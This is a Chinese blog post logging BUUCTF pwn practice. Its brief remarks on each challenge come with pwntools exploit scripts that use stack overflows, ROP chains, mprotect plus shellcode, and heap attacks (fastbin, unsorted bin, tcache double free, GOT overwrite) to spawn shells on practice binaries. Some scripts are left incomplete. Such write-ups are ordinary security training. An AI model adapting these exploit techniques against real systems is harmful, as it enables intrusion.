buuctf pwn的刷题之旅(长期更)

在身边人的推荐下,我也踏入了buu的刷题之旅,怀着一丢丢激动,还有些许不安(毕竟菜),在这里记录一下自己的刷题经历

warmup_csaw_2016

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh =remote('pwn.buuoj.cn',20035)
#sh = process('./warmup_csaw_2016')
#elf = ELF('./warmup_casw_2016')
libc = ELF('x64_libc.so.6')

sh.recvuntil('>')
payload = 'a'*0x48
payload += p64(0x40060d)
sh.sendline(payload)
sh.interactive()

pwn1_sctf_2016

1
2
3
4
5
6
7
from pwn import *

#sh = process('./pwn1_sctf_2016')
sh = remote ('pwn.buuoj.cn',20086)
payload = 'I'*19 + "a" * 7 + p32(0x08048F0D)
sh.sendline(payload)
sh.interactive()

not_the_same_3dsctf_2016

这题,利用mrotect,修改了可执行区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#sh = process('./not_the_same_3dsctf_2016')
sh = remote ('pwn.buuoj.cn',20007)
elf = ELF('./not_the_same_3dsctf_2016')
#libc = ELF('x86_libc.so.6')
pop2 = 0x0806fcc9
pop3 = 0x0809e3e5

payload = 'a'*0x2D + p32(elf.symbols['mprotect'])
payload += p32(pop3) + p32(0x080EB000) + p32(0x3000)
payload += p32(7) + p32(elf.symbols['read'])
payload += p32(pop3) + p32(0) + p32(0x080EBF80) + p32(0x200) + p32(0x080EBF80)
sh.sendline(payload)
sleep(0.5)
sh.sendline(asm(shellcraft.sh()))
sh.interactive()

get_started_3dsctf_2016

这题的思路呢,和上面not_the_same_3dsctf_2016类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.arch = "i386"
context.log_level = "debug"
#sh = process("./get_started_3dsctf_2016")
sh = remote("pwn.buuoj.cn",20004)
elf = ELF("get_started_3dsctf_2016")
pop2_ret = 0x0809a7dc
pop3_ret = 0x0804f460
payload = 'a' * 56 + p32(elf.symbols['mprotect']) + p32(pop3_ret) + p32(0x080EB000) + p32(0x3000) + p32(7) + p32(elf.symbols['read']) + p32(pop3_ret) + p32(0) + p32(0x080EBF80) + p32(0x200) + p32(0x080EBF80)
sh.sendline(payload)
#sleep(1)
#input()
sh.sendline(asm(shellcraft.sh()))
sh.interactive()

ciscn_2019_n_1

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
pop_rdi_ret = 0x400793
bss = 0x0000000000601050
elf = ELF("ciscn_2019_n_1")
sh = remote('pwn.buuoj.cn',20137)

payload = 'a'*56
payload += p64(pop_rdi_ret)+p64(bss)+p64(elf.plt['gets'])
payload += p64(pop_rdi_ret)+p64(bss)+p64(elf.plt['system'])
sh.sendline(payload)
sh.send('/bin/sh\x00')
sh.interactive()

ciscn_2019_en_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level = 'debug'

#sh = process('./ciscn_2019_en_2')
sh = remote ('pwn.buuoj.cn',20123)
elf = ELF('ciscn_2019_en_2')
libc = ELF('./x64_libc.so.6')
pop_rdi = 0x0000000000400c83
main_addr = 0x0000000000400B28
################### leak ####################
sh.sendlineafter('!\n','1')
payload = 'a'*0x58
payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
sh.sendline(payload)
sh.recvuntil('\x0a')
sh.recvuntil('\x0a')
sh.recvuntil('\x0a')
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success('puts_addr='+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
################### shell #############
sh.sendlineafter('!\n','1')
payload = 'a'*0x58
payload += p64(pop_rdi) + p64(binsh) + p64(system_addr)
sh.sendline(payload)
sh.interactive()

ciscn_2019_c_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = 'debug'

#sh = process('./ciscn_2019_c_1')
sh = remote ('pwn.buuoj.cn',20115)
elf = ELF('./ciscn_2019_c_1')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF("x64_libc.so.6")

pop_rdi = 0x0000000000400c83

sh.recvuntil('!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted\n")
payload = 'a'*(0x50+0x08)
payload += p64(pop_rdi) + p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main'])
sh.sendline(payload)
sh.recvuntil('\n')
sh.recvuntil('\n')
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'puts_addr='+hex(puts_addr)
libc_addr = puts_addr - libc.symbols['puts']
system = libc_addr + libc.symbols['system']
binsh = libc_addr + libc.search("/bin/sh\x00").next()
sh.sendline("1")
sh.recvuntil("Input your Plaintext to be encrypted\n")
payload = "\x00" * (0x50 + 0x8)
payload += p64(pop_rdi) + p64(binsh) + p64(system)
sh.sendline(payload)
sh.interactive()

babyheap_0ctf_2017

这题的漏洞点呢,主要在edit的size由你自己决定又因为delete进行了0操作,所以得通过fake,讲一个堆块的指针指到unsoted bin堆块的地方进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
#sh = remote('pwn.buuoj.cn',20001)
sh = process('./babyheap_0ctf_2017')
context.log_level = "debug"
elf = ELF("babyheap_0ctf_2017")
libc = ELF("x64_libc.so.6")
#libc = ELF("libc-2.23.so")

def add(size):
sh.recvuntil("Command: ")
sh.sendline("1")
sh.recvuntil("Size: ")
sh.sendline(str(size))

def edit(idx,size,content):
sh.recvuntil("Command: ")
sh.sendline("2")
sh.recvuntil("Index: ")
sh.sendline(str(idx))
sh.recvuntil("Size: ")
sh.sendline(str(size))
sh.recvuntil("Content: ")
sh.send(content)

def delete(idx):
sh.recvuntil("Command: ")
sh.sendline("3")
sh.sendline(str(idx))

def dump(idx):
sh.recvuntil("Command: ")
sh.sendline("4")
sh.recvuntil("Index: ")
sh.sendline(str(idx))
############### leak libc_base + malloc_hook#########
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
delete(1)
delete(2)
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
edit(0,len(payload),payload)
payload = p64(0)*3 + p64(0x21)
edit(3,len(payload),payload)
add(0x10)
add(0x10)
payload = p64(0)*3 + p64(0x91)
edit(3,len(payload),payload)
add(0x80)
delete(4)
dump(2)
sh.recvuntil("Content: \n")
libc_base = u64(sh.recv(8))-0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success('libc_base=' + hex(libc_base))
log.success('malloc_hook =' + hex (malloc_hook))
gdb.attach(sh)
##################
add(0x60) #malloc to malloc_hook nearby
delete(4) #allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4

// edit idx4's fd point to fake chunk
payload = p64(malloc_hook - 35)
edit(2,len(payload),payload)
add(0x60)
add(0x60)
one_gadget = 0x4526a
payload = p8(0) * 3 + p64(0) * 2 + p64(libc_base + one_gadget)
edit(6,len(payload),payload)

babyfengshui_33c3_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level = 'debug'
#sh = process('./babyfengshui_33c3_2016')
sh = remote('pwn.buuoj.cn',20002)
elf = ELF("babyfengshui_33c3_2016")
libc = ELF("x86_libc.so.6")

def add(name_size,name,text_size,text):
sh.recvuntil("Action: ")
sh.sendline("0")
sh.recvuntil("size of description: ")
sh.sendline(str(name_size))
sh.recvuntil("name: ")
sh.sendline(name)
sh.recvuntil("text length: ")
sh.sendline(str(text_size))
sh.recvuntil("text:")
sh.sendline(text)

def show(idx):
sh.recvuntil("Action: ")
sh.sendline("2")
sh.recvuntil("index: ")
sh.sendline(str(idx))

def edit(idx,text,size):
sh.recvuntil("Action: ")
sh.sendline("3")
sh.recvuntil("index: ")
sh.sendline(str(idx))
sh.recvuntil("text length: ")
sh.sendline(str(size))
sh.recvuntil("text: ")
sh.sendline(text)

def delete(idx):
sh.recvuntil("Action: ")
sh.sendline("1")
sh.recvuntil("index: ")
sh.sendline(str(idx))

add(0x80,'\x11\n',0x80,'\x12\n')#idx 0
add(0x10,'\x13\n',0x10,"\x14\n")
add(0x10,'\x15\x15',0x10,'\x16\x16')
add(0x10,'/bin/sh\x00',0x10,"/bin/sh\x00")
#gdb.attach(sh)
delete(0)
#gdb.attach(sh)
add(0x100,'\x17\n',0x160,0x128 * 'a' + p32(elf.got['free']))
#gdb.attach(sh)
show(1)
sh.recvuntil("description: ")
libc_base = u32(sh.recv(4)) - libc.symbols['free']
system_addr = libc.symbols['system'] + libc_base
log.success("libc: " + hex(libc_base))
log.success("system_addr:" + hex(system_addr))
edit(1,p32(system_addr),0x4)
delete(3)
sh.interactive()

ciscn_s_3

考点在srop。

首先了解一下,在rax=15时会触发 SigreturnFrame ,又可以通过观察汇编,看到两次的栈空间都是0x10。

ciscn_2019_n_3

原本是ubuntu16.04环境的,但是远程是18,也不是不可以打。就借此把两个环境的打法都说一下吧。

ubuntu16.04

打法1

uaf漏洞,且题目中records结构体会先行malloc(0xc),且放入对应的指针。

若是str类型,那么就是str_printf,str_free和一个指向chunk的指针

若是int类型,那么就是int_printf,int_free和直接写入的数值

那么我们的思路就是修改records中的free指针,改为system,然后在对应的chunk内写入binsh,将其free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
context.log_level = 'debug'
context.arch = 'x86'
elf = ELF("./ciscn_2019_n_3")
#libc = ELF('./x86_libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def addstr(idx,size,content):
sh.recvuntil('CNote > ')
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(idx))
sh.recvuntil("Type > ")
sh.sendline("2")
sh.recvuntil("Length > ")
sh.sendline(str(size))
if content != "":
sh.recvuntil("Value > ")
sh.sendline(content)
def addInt(idx,num):
sh.recvuntil("CNote > ")
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(idx))
sh.recvuntil("Type > ")
sh.sendline("1")
sh.recvuntil("Value > ")
sh.sendline(str(num))
def delete(idx):
sh.recvuntil("CNote > ")
sh.sendline(str(2))
sh.recvuntil("Index > ")
sh.sendline(str(idx))
def show(idx):
sh.recvuntil("CNote > ")
sh.sendline(str(3))
sh.recvuntil("Index > ")
sh.sendline(str(idx))
def z(commond=''):
gdb.attach(sh,commond)
addstr(0,0x88,'a'*0x10)
addstr(1,0x28,'a'*0x10)
addInt(2,0xdeadbeef)
delete(1)
delete(2)#fasted bin FILO特性,故bin 0x10 存在两个。Int的0x10先被malloc出去
addstr(3,0xc,'bash'+p32(elf.plt['system']))#此时的records malloc(0xc)就写到了Int的地址。本身的chunk写到了原本str的0x10处
addstr(4,0x28,'/bin/sh\x00')
z()
delete(1)#但是此处存疑,因为某blog说原本指向string chunk的指针因为\x0a的覆盖,指向了bash
sh.interactive()

打法2

利用unsorted bin在malloc时,如果剩余的bin大小不足以容纳fd + bk,那么就会全部被malloc出去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

sh = process("./ciscn_2019_n_3")
context.log_level = 'debug'
context.arch = 'x86'
elf = ELF("./ciscn_2019_n_3")
#libc = ELF('./x86_libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def addstr(idx,size,content):
sh.recvuntil('CNote > ')
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(idx))
sh.recvuntil("Type > ")
sh.sendline("2")
sh.recvuntil("Length > ")
sh.sendline(str(size))
if content != "":
sh.recvuntil("Value > ")
sh.send(content)
def addInt(idx,num):
sh.recvuntil("CNote > ")
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(idx))
sh.recvuntil("Type > ")
sh.sendline("1")
sh.recvuntil("Value > ")
sh.sendline(str(num))
def delete(idx):
sh.recvuntil("CNote > ")
sh.sendline(str(2))
sh.recvuntil("Index > ")
sh.sendline(str(idx))
def show(idx):
sh.recvuntil("CNote > ")
sh.sendline(str(3))
sh.recvuntil("Index > ")
sh.sendline(str(idx))
def z(commond=''):
gdb.attach(sh,commond)
addstr(0,0x80,"a"*0x7E + "\n")
addInt(1,0xdeadbeef)
delete(0)

addstr(3,0x68,'a'*0x3E+'\n')
addInt(4,0xdeadbeef)
delete(4)
payload = "sh\x00\x00" + p32(elf.plt['system']) + p32(0xdeadbeef) + '\n'
addstr(5,0x14,payload)
delete(4)

sh.interactive()

ubuntu18

tcache bin的double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

sh = process("./ciscn_2019_n_3")
context.log_level = 'debug'
context.arch = 'x86'
elf = ELF("./ciscn_2019_n_3")
#libc = ELF('./x86_libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
main_arena_offset = 0xf7763780 - 0xf75b1000
def addstr(idx,size,content):
sh.recvuntil('CNote > ')
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(idx))
sh.recvuntil("Type > ")
sh.sendline("2")
sh.recvuntil("Length > ")
sh.sendline(str(size))
if content != "":
sh.recvuntil("Value > ")
sh.sendline(content)
def addInt(idx,num):
sh.recvuntil("CNote > ")
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(idx))
sh.recvuntil("Type > ")
sh.sendline("1")
sh.recvuntil("Value > ")
sh.sendline(str(num))
def delete(idx):
sh.recvuntil("CNote > ")
sh.sendline(str(2))
sh.recvuntil("Index > ")
sh.sendline(str(idx))
def show(idx):
sh.recvuntil("CNote > ")
sh.sendline(str(3))
sh.recvuntil("Index > ")
sh.sendline(str(idx))
def z(commond=''):
gdb.attach(sh,commond)

addstr(0,0x38,'a'*0x10)
addstr(1,0xc,'a')
addInt(2,0xdeadbeef)
delete(0)
delete(0)
delete(1)
addstr(3,0x38,p32(elf.got['free']))

addstr(4,0x38,p32(elf.got['free']))
addstr(5,0x38,p32(elf.plt['system'])+p32(0x080484b6))#因为tcache bin是一个FIFO,所以我们在这次malloc的时候,records的malloc(0xc)会跑到delete(1)的那个地方,不会影响我们改写got表。
#0x080484b6为fgets的重定向地址,因为我们会写入\x0a,破坏后面的fgets的got表,所以要重定向。
addstr(6,0x48,'/bin/sh\x00')
delete(6)
sh.interactive()